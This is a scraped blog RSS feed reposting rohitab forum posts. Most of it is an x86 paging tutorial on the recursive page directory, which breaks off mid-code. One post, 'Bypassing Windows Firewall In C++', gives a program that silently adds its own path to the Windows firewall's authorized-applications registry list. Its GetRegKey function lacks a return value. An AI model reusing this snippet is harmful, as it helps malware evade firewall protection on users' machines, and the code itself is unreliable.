<br>You can use <a class=bbc_url title="External link" href="http://msdn.microsoft.com/en-us/library/ms682489%28VS.85%29.aspx" rel="nofollow external">CreateToolhelp32Snapshot</a> to create a snapshot of all processes on the system. Then you loop over it with <a class=bbc_url title="External link" href="http://msdn.microsoft.com/en-us/library/ms684834%28v=VS.85%29.aspx" rel="nofollow external">Process32First</a> and <a class=bbc_url title="External link" href="http://msdn.microsoft.com/en-us/library/ms684836%28v=VS.85%29.aspx" rel="nofollow external">Process32Next</a> until you find a process that has "server.exe" as main module. <a class=bbc_url title="External link" href="http://msdn.microsoft.com/en-us/library/ms686701%28v=VS.85%29.aspx" rel="nofollow external">Here is some example code from msdn</a> <br>
<img src ="http://www.cnitblog.com/houcy/aggbug/73043.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/houcy/" target="_blank">挑灯看剑</a> 2011-03-09 14:37 <a href="http://www.cnitblog.com/houcy/archive/2011/03/09/73043.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Bypassing Windows Firewall In C++</title><link>http://www.cnitblog.com/houcy/archive/2011/03/09/73039.html</link><dc:creator>挑灯看剑</dc:creator><author>挑灯看剑</author><pubDate>Wed, 09 Mar 2011 03:20:00 GMT</pubDate><guid>http://www.cnitblog.com/houcy/archive/2011/03/09/73039.html</guid><wfw:comment>http://www.cnitblog.com/houcy/comments/73039.html</wfw:comment><comments>http://www.cnitblog.com/houcy/archive/2011/03/09/73039.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/houcy/comments/commentRss/73039.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/houcy/services/trackbacks/73039.html</trackback:ping><description><![CDATA[<p><a href="http://www.rohitab.com/discuss/topic/25335-bypassing-windows-firewall-in-c/">http://www.rohitab.com/discuss/topic/25335-bypassing-windows-firewall-in-c/</a><br><br>#define WIN32_LEAN_AND_MEAN<br>#include &lt;winsock2.h&gt;<br>#include &lt;windows.h&gt;<br>#include &lt;string&gt;<br>using namespace std;</p>
<p>char fwAuthApp[1024];</p>
<p>char* GetRegKey()<br>{<br>&nbsp;HKEY hk = 0;</p>
<p>&nbsp;RegCreateKeyA(HKEY_LOCAL_MACHINE,"SYSTEM\\Select",&amp;hk);<br>&nbsp;int i;<br>&nbsp;DWORD sz = 4;</p>
<p>&nbsp;if (RegQueryValueExA(hk,"Current",NULL,NULL,(BYTE*)&amp;i,&amp;sz) == ERROR_SUCCESS)<br>&nbsp;{<br>&nbsp;&nbsp;sprintf(fwAuthApp,"SYSTEM\\ControlSet%03d\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List",i);<br>&nbsp;}<br>&nbsp;RegCloseKey(hk);<br>}</p>
<p>void AddException(string path)<br>{<br>&nbsp;HKEY hk;<br>&nbsp;DWORD dw;<br>&nbsp;<br>&nbsp;string skey = path + ":*:Enabled:@xpsp2res.dll,-22019";<br>&nbsp;<br>&nbsp;RegCreateKeyExA(<br>&nbsp;&nbsp;HKEY_LOCAL_MACHINE,<br>&nbsp;&nbsp;GetRegKey(),<br>&nbsp;&nbsp;0,<br>&nbsp;&nbsp;NULL,<br>&nbsp;&nbsp;REG_OPTION_NON_VOLATILE,<br>&nbsp;&nbsp;KEY_WRITE,<br>&nbsp;&nbsp;NULL,<br>&nbsp;&nbsp;&amp;hk,<br>&nbsp;&nbsp;&amp;dw<br>&nbsp;&nbsp;);<br>&nbsp;<br>&nbsp;RegSetValueExA(<br>&nbsp;&nbsp;hk,<br>&nbsp;&nbsp;path.c_str(),<br>&nbsp;&nbsp;0,<br>&nbsp;&nbsp;REG_SZ,<br>&nbsp;&nbsp;(BYTE*)skey.c_str(),<br>&nbsp;&nbsp;(DWORD)skey.length()<br>&nbsp;&nbsp;);<br>&nbsp;<br>&nbsp;RegCloseKey(hk);<br>}</p>
<p>int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)<br>{<br>&nbsp;char&nbsp; *CmdLineA, *Location;<br>&nbsp;<br>&nbsp;CmdLineA = GetCommandLineA();<br>&nbsp;Location = CmdLineA + 1;<br>&nbsp;Location[strlen(Location)-2] = 0;<br>&nbsp;<br>&nbsp;AddException(Location);<br>}</p>
<img src ="http://www.cnitblog.com/houcy/aggbug/73039.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/houcy/" target="_blank">挑灯看剑</a> 2011-03-09 11:20 <a href="http://www.cnitblog.com/houcy/archive/2011/03/09/73039.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title> Paging: Memory Mapping With A Recursive Page Directory </title><link>http://www.cnitblog.com/houcy/archive/2011/03/09/73038.html</link><dc:creator>挑灯看剑</dc:creator><author>挑灯看剑</author><pubDate>Wed, 09 Mar 2011 03:02:00 GMT</pubDate><guid>http://www.cnitblog.com/houcy/archive/2011/03/09/73038.html</guid><wfw:comment>http://www.cnitblog.com/houcy/comments/73038.html</wfw:comment><comments>http://www.cnitblog.com/houcy/archive/2011/03/09/73038.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/houcy/comments/commentRss/73038.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/houcy/services/trackbacks/73038.html</trackback:ping><description><![CDATA[<span class=bbc_underline><strong class=bbc><a href="http://www.rohitab.com/discuss/topic/31139-tutorial-paging-memory-mapping-with-a-recursive-page-directory/">http://www.rohitab.com/discuss/topic/31139-tutorial-paging-memory-mapping-with-a-recursive-page-directory/</a><br><br>Introduction</strong></span><br>I am writing this tutorial because I feel there is a lack of resources on the Internet which properly explain paging, more specifically virtual memory mapping using the recursive page directory technique. There are plenty of articles which provide working code to enable paging and fill out your initial page directory and tables, so I will not be going over that. The problem I find many people have is with what to do next &#8211; how to map memory to a given virtual address. Many tutorials offer a brief explanation of how the page directories and tables work, and some even mention recursive page directory mapping, which is (at least in my opinion) the proper way to do virtual memory mapping. However, I myself found when I was reading them that the information provided was not enough, and ended up wasting a couple of days coding an over-complicated memory mapper which I then redid in 1/5 the code and 20 minutes using a recursive page directory. I feel that this technique has many advantages over others that have been suggested and used by people, and that many would benefit from fully understanding it and being able to implement it into their operating system.<br><br><span class=bbc_underline><strong class=bbc>Virtual Memory - Overview</strong></span><br>If you have ever worked with pointers while coding something, either on Windows or *nix, there&#8217;s a great chance that you have noticed the addresses in memory at which your data resides. In a usermode program on Windows you are likely to see addresses of anywhere up to 0x80000000 &#8211; which is 2GB! If you&#8217;ve worked with kernel mode, then these memory addresses go up as high as 0xFFFFFFFF &#8211; 4GB. Many computers don&#8217;t even have that much memory! So how can this possibly work? The answer is simple &#8211; all of these addresses are <em class=bbc>virtual</em> &#8211; which means they don&#8217;t indicate the location of the data in your computer&#8217;s <em class=bbc>physical</em> memory, but a virtual location which could be mapped to anywhere in physical memory, or even paged out to disk.<br><br>As your OS grows in size and complexity you will realize the need for proper memory management, and with this comes the need for paging. It is possible to code an operating system where all programs use physical memory directly, but this requires the application developer to know how much physical RAM is available on the system, which parts of it aren&#8217;t reserved for hardware use, and so on. Additionally, once you implement multitasking and processes, you will see that with a physical memory management model every process can access the data and code of any other process, and, perhaps more frighteningly, that of the kernel, without restriction &#8211; which is a huge risk not only to system stability but also to user security. With paging, however, these problems are all solved. The user does not need to know anything about the inner workings of the low-level memory manager, and which physical addresses are accessible, but only has to deal with virtual addresses in the address space of the current process &#8211; virtual addresses that your kernel will map somewhere and return to the user. Processes will also not be able to interfere with each other&#8217;s data, as they will run in different address spaces and not have access to each other&#8217;s memory. For example, 0x30000000 in one process can be mapped to one location and to another in a different process. This way when one process reads from that address it sees different data than a different process would if it read from the same address. This is because the address is mapped to a different location in each process, so logically the data in these two different locations is different.<br><br>Anyways, I think that&#8217;s enough for an overview of the concepts I&#8217;ll be talking about in this article. There are already plenty of resources on the theoretical aspects and advantages of virtual memory and paging out there on the Internet, so if that&#8217;s what interests you then go read those. I&#8217;ll be concentrating more on the technical aspect and the practical implementation of paging.<br><br><span class=bbc_underline><strong class=bbc>Requirements</strong></span><br>Okay, so if you&#8217;re still reading this then by now you&#8217;re probably wondering &#8220;how do I implement this into my operating system?&#8221; Before you do that, you have to make sure that you are at a point where you are ready to implement paging. When you&#8217;re reading this you already have a physical memory manager done and working. If you don&#8217;t yet have one, you should probably go write one. It really is only about twenty minutes of work at most, so it&#8217;s nothing difficult. For this tutorial I&#8217;ll assume that you have a function called mm_allocatephyspage which takes zero parameters and returns an unsigned long which is the physical address of the page that has been allocated. It is up to you how you write this function &#8211; you can use a stack or a bitmap, as long as you have some way of keeping track of which pages are used. This allocator does not need to be able to allocate memory blocks of various sizes; it will only be allocating one page at a time. Remember that one page is 4KB. You should also have a function to free the page (let&#8217;s call this mm_freephyspage), which takes one parameter &#8211; the physical address of the page to be freed. This should simply either set a bit to 0 in a bitmap, or push/pop an address from a stack, depending on how you&#8217;ve implemented it. It would also benefit you to have working memset and memcpy functions, as those come in useful.<br><br><span class=bbc_underline><strong class=bbc>Paging</strong></span><br>Enough of that, let&#8217;s get to paging! Before I read my first tutorial on paging (Tim Robinson&#8217;s Memory Management Part 1 &amp; 2 on osdever.net &#8211; an excellent tutorial, much credit goes to the author), I had doubts regarding the implementation of this whole &#8220;virtual memory&#8221; thing, and how to take care of and keep track of the virtual-physical translations. It turns out, however, that the processor already does this for us! The x86 architecture (don&#8217;t ask me what the first processor was to support paging, because I honestly don&#8217;t know and don&#8217;t care!) has support for something called &#8220;page directories&#8221; and &#8220;page tables&#8221;, which assist in mapping virtual addresses to physical addresses. If you want to see an overwhelming amount of information on the topic then please have a look at the Intel manuals. I will try to explain this briefly but with enough detail to allow you to understand it fully.<br><br><span class=bbc_underline><strong class=bbc>Page Directories</strong></span><br>The first paging structure with which you must familiarize yourself is the page directory. You can think of this as the &#8220;top-level&#8221; table. It covers the whole 4GB of addressable virtual address space &#8211; from 0x00000000 to 0xFFFFFFFF. This table consists of 1024 32-bit entries, and takes up 4096 bytes in memory (you can see how that works, 1024 * 4 = 4096). Not coincidentally this is also the size of one page &#8211; 4KB. Each entry in this table is called a PDE, or Page Directory Entry, and it contains the physical address of a page table, more on this later. This is what one of these 32-bit entries looks like:<br><img class=bbc_img alt="Posted Image" src="http://i159.photobucket.com/albums/t141/sovietweasel/pde.jpg"><br>As you can see, the bottom 12 bits are used for various flags. This leaves us with the top 24 bits to use as an address of a page table. The address will look like 0x12345000, or 0xAAAAA000 &#8211; as you can see these addresses are 4K-aligned, or aligned to a page boundary. You can&#8217;t have a page table that starts in the middle of a physical page, because if you have an address such as 0x0011DEAD, once you OR it with any of the bottom 12 bits the bits that are already set as part of the address will interfere with the flags. This is an important fact to remember when you&#8217;re allocating space for a new page table or directory.<br><br><span class=bbc_underline><strong class=bbc>Page Tables</strong></span><br>You&#8217;re probably confused right now, but before you can fully understand it you need to first get slightly more confused. Alright, so, page tables. What are they? A page table is a structure very similar to a page directory, except each of the entries (called PTEs or Page Table Entries), contains the physical address of a page in memory. The format of the PTE is the same as that of a PDE, with the same flags. The only difference is that it specifies a page and not a page table. Recall that a page is 4KB. Recall also that a page table, just like a page directory, has 1024 entries. This means that one page table covers 4MB of the virtual address space. 1024 of these entries in a page directory is where you get your 4GB virtual address space (1024 * 1024 * 4096 = 4294967296 bytes = 4GB).<br><br><span class=bbc_underline><strong class=bbc>Mapping</strong></span><br>As you&#8217;ve seen, only a <em class=bbc>physical</em> address of a page is placed into a PTE, so you might think &#8211; how do I tell the processor where to map the page in <em class=bbc>virtual</em> memory? The answer to this is quite simple, and lies simply in which page table and which page table entry you place your mapping. Confusing? Not really. Imagine you have a physical address &#8211; 0x00012000, and you want to map it to the virtual address 0xDEAD7000. The first thing you need to do is figure out the index of the page table that covers the area into which your virtual address falls. Don&#8217;t forget &#8211; there are 1024 page tables, and each of them covers 4MB, so unless you have a magic address that&#8217;s above 4GB, there is a page table which will cover the specified region. Once you&#8217;ve got that in mind, it&#8217;s just simple math. Divide the virtual address (0xDEAD7000) by 0x400000 (0x1000 * 0x1000 * 4 = 0x400000 = 4 MB). You should end up with 0x37A, or 890 in decimal. This means that the 0x37Ath (that&#8217;s kind of hard to say so just go with 890th) page table is the one which covers the region you&#8217;re looking for &#8211; remember, saying &#8220;the 890th page table&#8221; is the same thing as saying &#8220;the 890th page directory entry&#8221;. At this point you&#8217;re half done. Now that you&#8217;ve figured out which page table the mapping will go into, you still need to write the address into the correct page table entry. This means you have to find out the PTE index of the virtual page to which you want to map a physical page. This, again, is just more math. Divide the remainder of the previous operation (0xDEAD7000 / 0x400000) by 0x1000 &#8211; which is the size of one page. 0xDEAD7000 % 0x400000 results in 0x2D7000. Divide by 0x1000 and you get 0x2D7, which is 727 in decimal. <br><br>Now that you have the index of the page table and of the page corresponding to your desired virtual address, you&#8217;re ready to modify the PTEs! The first thing you need to do is get a pointer to the page table. This shouldn&#8217;t be hard, right? Here&#8217;s some code you could theoretically use to access the page table.<br><!--c1-->
<div class=codetop>CODE C Language</div>
<div id=highlighter_712804 class="syntaxhighlighter  cpp">
<div class="bar         ">
<div class=toolbar><a style="WIDTH: 16px; HEIGHT: 16px" class="item viewSource" title="view source" href="http://www.rohitab.com/discuss/topic/31139-tutorial-paging-memory-mapping-with-a-recursive-page-directory/#viewSource" commandName="viewSource" highlighterId="highlighter_712804">view source</a>
<div class="item copyToClipboard">
<object id=highlighter_712804_clipboard title="copy to clipboard" codeBase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0" classid=clsid:d27cdb6e-ae6d-11cf-96b8-444553540000 width=16 height=16 type=application/x-shockwave-flash>
</object></div>
<a style="WIDTH: 16px; HEIGHT: 16px" class="item printSource" title=print href="http://www.rohitab.com/discuss/topic/31139-tutorial-paging-memory-mapping-with-a-recursive-page-directory/#printSource" commandName="printSource" highlighterId="highlighter_712804">print</a><a style="WIDTH: 16px; HEIGHT: 16px" class="item about" title=? href="http://www.rohitab.com/discuss/topic/31139-tutorial-paging-memory-mapping-with-a-recursive-page-directory/#about" commandName="about" highlighterId="highlighter_712804">?</a></div>
</div>
<div class=lines>
<div class="line alt1">
<table>
    <tbody>
        <tr>
            <td class=number><code>1</code></td>
            <td class=content><code class="cpp color1 bold">unsigned</code> <code class="cpp color1 bold">long</code> <code class="cpp plain">*page_table = (</code><code class="cpp color1 bold">unsigned</code> <code class="cpp color1 bold">long</code> <code class="cpp plain">*) page_directory[890]; </code><code class="cpp comments">// assume page_directory exists </code></td>
        </tr>
    </tbody>
</table>
</div>
<div class="line alt2">
<table>
    <tbody>
        <tr>
            <td class=number><code>2</code></td>
            <td class=content><code class="cpp plain">page_table[727] = 0x00012000; </code><code class="cpp comments">// remember, this is the physical address to which we wanted to map</code></td>
        </tr>
    </tbody>
</table>
</div>
</div>
</div>
<!--ec2--><br><br>That works, right? No, it doesn&#8217;t. We forgot about flags. Let&#8217;s try again:<br><!--c1-->
<div class=codetop>CODE C Language</div>
<div id=highlighter_829188 class="syntaxhighlighter  cpp">
<div class="bar ">
<div class=toolbar><a style="WIDTH: 16px; HEIGHT: 16px" class="item viewSource" title="view source" href="http://www.rohitab.com/discuss/topic/31139-tutorial-paging-memory-mapping-with-a-recursive-page-directory/#viewSource" commandName="viewSource" highlighterId="highlighter_829188">view source</a>
<div class="item copyToClipboard">
<object id=highlighter_829188_clipboard title="copy to clipboard" codeBase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0" classid=clsid:d27cdb6e-ae6d-11cf-96b8-444553540000 width=16 height=16 type=application/x-shockwave-flash>
</object></div>
<a style="WIDTH: 16px; HEIGHT: 16px" class="item printSource" title=print href="http://www.rohitab.com/discuss/topic/31139-tutorial-paging-memory-mapping-with-a-recursive-page-directory/#printSource" commandName="printSource" highlighterId="highlighter_829188">print</a><a style="WIDTH: 16px; HEIGHT: 16px" class="item about" title=? href="http://www.rohitab.com/discuss/topic/31139-tutorial-paging-memory-mapping-with-a-recursive-page-directory/#about" commandName="about" highlighterId="highlighter_829188">?</a></div>
</div>
<div class=lines>
<div class="line alt1">
<table>
    <tbody>
        <tr>
            <td class=number><code>1</code></td>
            <td class=content><code class="cpp color1 bold">unsigned</code> <code class="cpp color1 bold">long</code> <code class="cpp plain">*page_table = (</code><code class="cpp color1 bold">unsigned</code> <code class="cpp color1 bold">long</code> <code class="cpp plain">*) page_directory[890] &amp; 0xFFFFF000; </code><code class="cpp comments">// strip away bottom 12b&nbsp; </code></td>
        </tr>
    </tbody>
</table>
</div>
<div class="line alt2">
<table>
    <tbody>
        <tr>
            <td class=number><code>2</code></td>
            <td class=content><code class="cpp plain">page_table[727] = 0x00012000 | 3; </code><code class="cpp comments">// 11b &#8211; we want to set the present and the r/w bit</code></td>
        </tr>
    </tbody>
</table>
</div>
</div>
</div>
<!--ec2--><br><br>Okay, that&#8217;s better. You can see how bitwise AND was used to keep only the top 24 bits of the PDE to get the address of the page table, and how the physical address was OR&#8217;d with 3 to set the Present and R/W bit. Those ones, for now, are the only bits we will set when mapping anything. Once again though, this code is incomplete. Have you thought about what will happen if the page table we&#8217;re trying to write to doesn&#8217;t exist?! When paging is initialized, the page directory is zeroed, or set to 2&#8217;s (r/w, not present). So we&#8217;ll be getting the address 0x00000000 for our page table and then writing to the 727th unsigned long from there. The result? A page fault, probably. Well, so what do we do about this? Recall that a page table actually needs to exist somewhere in physical memory, it can&#8217;t just be a random address to nowhere. Also remember that a page table is 4KB, which is the size of one page. Yep, this is where the physical memory manager you wrote earlier comes in. We need to allocate a physical page and get the address of it &#8211; exactly what your memory manager does. Let&#8217;s see what this code looks like now. <br><!--c1-->
<div class=codetop>CODE C Language</div>
<div id=highlighter_840016 class="syntaxhighlighter  cpp">
<div class="bar               ">
<div class=toolbar><a style="WIDTH: 16px; HEIGHT: 16px" class="item viewSource" title="view source" href="http://www.rohitab.com/discuss/topic/31139-tutorial-paging-memory-mapping-with-a-recursive-page-directory/#viewSource" commandName="viewSource" highlighterId="highlighter_840016">view source</a>
<div class="item copyToClipboard">
<object id=highlighter_840016_clipboard title="copy to clipboard" codeBase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0" classid=clsid:d27cdb6e-ae6d-11cf-96b8-444553540000 width=16 height=16 type=application/x-shockwave-flash>
</object></div>
<a style="WIDTH: 16px; HEIGHT: 16px" class="item printSource" title=print href="http://www.rohitab.com/discuss/topic/31139-tutorial-paging-memory-mapping-with-a-recursive-page-directory/#printSource" commandName="printSource" highlighterId="highlighter_840016">print</a><a style="WIDTH: 16px; HEIGHT: 16px" class="item about" title=? href="http://www.rohitab.com/discuss/topic/31139-tutorial-paging-memory-mapping-with-a-recursive-page-directory/#about" commandName="about" highlighterId="highlighter_840016">?</a></div>
</div>
<div class=lines>
<div class="line alt1">
<table>
    <tbody>
        <tr>
            <td class=number><code>01</code></td>
            <td class=content><code class="cpp comments">// check if the present bit is set </code></td>
        </tr>
    </tbody>
</table>
</div>
<div class="line alt2">
<table>
    <tbody>
        <tr>
            <td class=number><code>02</code></td>
            <td class=content><code class="cpp keyword bold">if</code><code class="cpp plain">(page_directory[890] &amp; 1){ </code></td>
        </tr>
    </tbody>
</table>
</div>
<div class="line alt1">
<table>
    <tbody>
        <tr>
            <td class=number><code>03</code></td>
            <td class=content><code class=spaces>&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="cpp comments">// page table exists, continue as we did earlier </code></td>
        </tr>
    </tbody>
</table>
</div>
<div class="line alt2">
<table>
    <tbody>
        <tr>
            <td class=number><code>04</code></td>
            <td class=content><code class=spaces>&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="cpp color1 bold">unsigned</code> <code class="cpp color1 bold">long</code> <code class="cpp plain">*page_table = (</code><code class="cpp color1 bold">unsigned</code> <code class="cpp color1 bold">long</code> <code class="cpp plain">*) page_directory[890] &amp; 0xFFFFF000;&nbsp; </code></td>
        </tr>
    </tbody>
</table>
</div>
<div class="line alt1">
<table>
    <tbody>
        <tr>
            <td class=number><code>05</code></td>
            <td class=content><code class=spaces>&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="cpp plain">page_table[727] = 0x00012000 | 3;&nbsp; </code></td>
        </tr>
    </tbody>
</table>
</div>
<div class="line alt2">
<table>
    <tbody>
        <tr>
            <td class=number><code>06</code></td>
            <td class=content><code class="cpp plain">}</code><code class="cpp keyword bold">else</code><code class="cpp plain">{ </code></td>
        </tr>
    </tbody>
</table>
</div>
<div class="line alt1">
<table>
    <tbody>
        <tr>
            <td class=number><code>07</code></td>
            <td class=content><code class=spaces>&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="cpp comments">// page table doesn&#8217;t exist, so create one </code></td>
        </tr>
    </tbody>
</table>
</div>
<div class="line alt2">
<table>
    <tbody>
        <tr>
            <td class=number><code>08</code></td>
            <td class=content><code class=spaces>&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="cpp color1 bold">unsigned</code> <code class="cpp color1 bold">long</code> <code class="cpp plain">*page_table = (</code><code class="cpp color1 bold">unsigned</code> <code class="cpp color1 bold">long</code> <code class="cpp plain">*) mm_allocphyspage(); </code></td>
        </tr>
    </tbody>
</table>
</div>
<div class="line alt1">
<table>
    <tbody>
        <tr>
            <td class=number><code>09</code></td>
            <td class=content><code class=spaces>&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="cpp plain">memsetl(page_table, 2, 1024); </code><code class="cpp comments">// set 1024 dwords to 2 (r/w, not present)&nbsp; </code></td>
        </tr>
    </tbody>
</table>
</div>
<div class="line alt2">
<table>
    <tbody>
        <tr>
            <td class=number><code>10</code></td>
            <td class=content><code class=spaces>&nbsp;&nbsp;&nbsp;&nbsp;</code><code class="cpp plain">page_table[727] = 0x00012000 | 3;&nbsp; </code></td>
        </tr>
    </tbody>
</table>
</div>
<div class="line alt1">
<table>
    <tbody>
        <tr>
            <td class=number><code>11</code></td>
            <td class=content><code class="cpp plain">}</code></td>
        </tr>
    </tbody>
</table>
</div>
</div>
</div>
<p><!--ec2--><br><br>Woot. We&#8217;re done! &#8230; - that&#8217;s what you might think. We&#8217;re far from it. There&#8217;s another problem here - a big problem, too. If you&#8217;ve already realized what it is, then good job. If not, remember I said earlier that PDEs and PTEs are physical addresses of page tables and pages! By the time the mapping code runs it&#8217;s assumed that we are already in paged mode (well duh! What would we be mapping if we weren&#8217;t?!), and that means we can no longer directly write to or read from physical addresses. And what we did in that code right there was get the physical address of the page table and write to it. Ahem, page fault. <br><br><span class=bbc_underline><strong class=bbc>Recap</strong></span><br>The next part will be somewhat difficult to grasp, so before I start explaining that I want to recap what I&#8217;ve said so far. I feel something like this is best explained with diagrams and examples, so I&#8217;ve taken the time to draw a half-assed diagram of how a simple paging setup might look.<br><img class=bbc_img alt="Posted Image" src="http://i159.photobucket.com/albums/t141/sovietweasel/mapping-3.png"><br>I&#8217;ve tried to sort of colour-code stuff and remain consistent with lines and symbols. The left is the physical memory, and the right is the virtual memory. The black lines at the left side represent pointers from one place to another, and the dashed lines between physical and virtual are virtual-physical mappings. So, let&#8217;s start at the top. The first thing we have in our physical memory is the page directory, which takes up 4KB. The first entry in it (PDE 0) points to an existing page table &#8211; Page Table 0. Remember that PDE 0 will simply be the physical memory address of Page Table 0, with flags in the lower bits. PDE 1 also points to an existing page table, but it appears none of the PTEs in that page table are filled in, so accessing any memory covered by that page table (4MB &#8211; 8MB in virtual memory) will likely result in a page fault. In page table 0 there are three PTEs that are filled in. PTE 0 contains the address of Page 1, which is simply a page somewhere in physical memory. PTEs 1 and 1023 also point to physical pages. Remember that if a PTE contains a valid physical address and the present bit is set, and the page table which contains the PTE is pointed to by a valid entry in the page directory, then you can access the page by a virtual address! <br><br>So let&#8217;s see what happens when you access the virtual address 0x00000000 with the given setup. The processor first looks for the page table that corresponds to the address. Well that&#8217;s easy, it&#8217;s the first one! So, okay, now the processor knows that Page Table #0 is the one in which it must look for an entry that corresponds to address 0x00000000. Once again, we know right away that this will be the first entry in the page table, or PTE #0. The processor then takes the value from PTE #0 in Page Table #0, which is the address of Page 1 OR&#8217;d with several flags. This way, when you access 0x00000000 you are actually accessing the physical address of Page 1. You don&#8217;t, however, know this physical address, but you also don&#8217;t need to. The whole point of paging is to avoid the complexities that arise when working with physical memory directly. If you look further in the diagram, you can see that Page 3 is mapped consecutively after Page 1 into virtual memory at address 0x00001000. Page 2, which in physical memory comes after Page 1, is actually mapped way past Page 3, at virtual address 0x003FF000. This way paging can create the appearance of contiguous memory, while the underlying physical pages don&#8217;t need to be consecutive at all.<br><br><span class=bbc_underline><strong class=bbc>Recursive Page Directory</strong></span><br>Now let&#8217;s get back to the problem at hand. We need a way to read from and write to page tables. This means accessing them by a virtual address, since we&#8217;re using paging. There are a number of ways to do this. The way I did it originally was to keep part of the virtual address space for mapping page tables into it. This way, whenever a new page table was created, the physical address would be written into the page directory as part of the PDE, but it would also be mapped somewhere in virtual memory. This works, but there is a large amount of code and logic required to take care of mapping the page table somewhere, writing to it when necessary, and making sure it gets unmapped properly when it is no longer required. The problems with this approach became overwhelming when I began to implement separate address spaces for processes/threads, and I gave up on it. The way I ended up doing it eventually is the way suggested in Tim Robinson&#8217;s memory management tutorial on osdever.net, and I found this way to be significantly more efficient. Once I switched over to this, the amount of code in my virtual memory mapper went from 500 lines to about 100.<br><br>The way it works appears difficult to understand at first, but if you&#8217;ve got a good understanding of the paging architecture then you won&#8217;t have any problems. This &#8216;recursive page directory&#8217; memory mapping approach is based on mapping the page directory into itself. Yes, it sounds weird. Allow me to explain. During initialization of the virtual memory manager, the last PDE in the page directory is set to the physical address of the page directory itself. Remember that the processor looks for a page table at the address specified in the page directory entry. Also remember that a page table is 1024 32-bit values. Since the page directory itself is also 1024 32-bit values, there is nothing that stops the page directory from acting as a page table!<br><br>Since each page table covers 4MB of the address space, the last page directory entry will point to a page table that covers the top 4MB of the address space &#8211; that&#8217;s 0xFFC00000 and above. Now, since we have the page directory acting as a page table, what happens when you write to 0xFFC00000? The processor first finds the page table that corresponds to that address &#8211; yep, that&#8217;s our page directory. It then looks for the first entry in the &#8220;page table&#8221; (in this case it&#8217;s looking at the first entry in the page directory). And what&#8217;s the first entry in the page directory? Why, it&#8217;s a pointer to the first page table &#8211; that&#8217;s PDE #0, combined with the necessary bits set to show that it is present. The processer sees this PDE as a PTE which describes the page that is mapped to 0xFFC00000 &#8211; and that page turns out to be Page Table #0! So we now have access to the entire page table in our virtual address space, and we can modify any of the PTEs in it without having to worry about page faulting. Because of the way that the page directory structure is identical to the page table structure, we now have ALL of the existing page tables mapped to the top 4MB of our virtual address space. Conveniently, the top 4KB of the address space (the last page) is mapped to the page directory (recall how we set the last entry of the page directory to the address of the page directory, and how we have all the page tables mapped into the top 4MB). This way, by accessing memory at offsets from 0xFFFFF000, you can modify the PDEs in the page directory. <br><img class=bbc_img alt="Posted Image" src="http://i159.photobucket.com/albums/t141/sovietweasel/mapping-31.png"><br>Notice the green line, which is the new mapping of the page directory into itself. In the middle is shown a zoomed-in view of the top 4MB of the virtual address space &#8211; the mapped page tables and the page directory at the end. You can see with the addresses at the side that each page table takes up 4KB in the top 4MB of the memory, so we can calculate the virtual address of a given page table as (0xFFC00000 + (page_table_idx * 0x1000)).<br><br>Here&#8217;s another diagram of the top 4MB of virtual address space with the recursive page directory implemented:<br><img class=bbc_img alt="Posted Image" src="http://i159.photobucket.com/albums/t141/sovietweasel/mapping-32.png"><br><br>Now that we&#8217;ve got that all sorted out, we can finally write some code! Before we code our map page function, there&#8217;s one thing we need.<br><br><!--c1-->typedef struct __attribute__ ((packed)){<br>&nbsp;int pagetable;<br>&nbsp;int page;<br>}pageinfo, *ppageinfo;<br>pageinfo mm_virtaddrtopageindex(unsigned long addr){<br>&nbsp;pageinfo pginf;</p>
<p>&nbsp;//align address to 4k (highest 20-bits of address)<br>&nbsp;addr &amp;= ~0xFFF;<br>&nbsp;pginf.pagetable = addr / 0x400000; // each page table covers 0x400000 bytes in memory<br>&nbsp;pginf.page = (addr % 0x400000) / 0x1000; //0x1000 = page size<br>&nbsp;return pginf;<br>}<br><br>That's just a function which calculates the PDE index and PTE index for the given virtual address to assist us later in mapping. And now the actual mapping functions!<br><br>unsigned long *kernel_page_dir = (unsigned long*) 0xFFFFF000; // last page in vmem is mapped to the page dir, so we can edit pdes this way<br>int mm_mappage(unsigned long phys_address, unsigned long virt_address){<br>&nbsp;pageinfo pginf = mm_virtaddrtopageindex(virt_address); // get the PDE and PTE indexes for the addr<br>&nbsp;<br>&nbsp;if(kernel_page_dir[pginf.pagetable] &amp; 1){<br>&nbsp;&nbsp;// page table exists.<br>&nbsp;&nbsp;unsigned long *page_table = (unsigned long *) (0xFFC00000 + (pginf.pagetable * 0x1000)); // virt addr of page table<br>&nbsp;&nbsp;if(!page_table[pginf.page] &amp; 1){<br>&nbsp;&nbsp;&nbsp;// page isn't mapped<br>&nbsp;&nbsp;&nbsp;page_table[pginf.page] = phys_address | 3;<br>&nbsp;&nbsp;}else{<br>&nbsp;&nbsp;&nbsp;// page is already mapped<br>&nbsp;&nbsp;&nbsp;return status_error;<br>&nbsp;&nbsp;}<br>&nbsp;}else{<br>&nbsp;&nbsp;// doesn't exist, so alloc a page and add into pdir<br>&nbsp;&nbsp;unsigned long *new_page_table = (unsigned long *) mm_allocphyspage();<br>&nbsp;&nbsp;unsigned long *page_table = (unsigned long *) (0xFFC00000 + (pginf.pagetable * 0x1000)); // virt addr of page tbl</p>
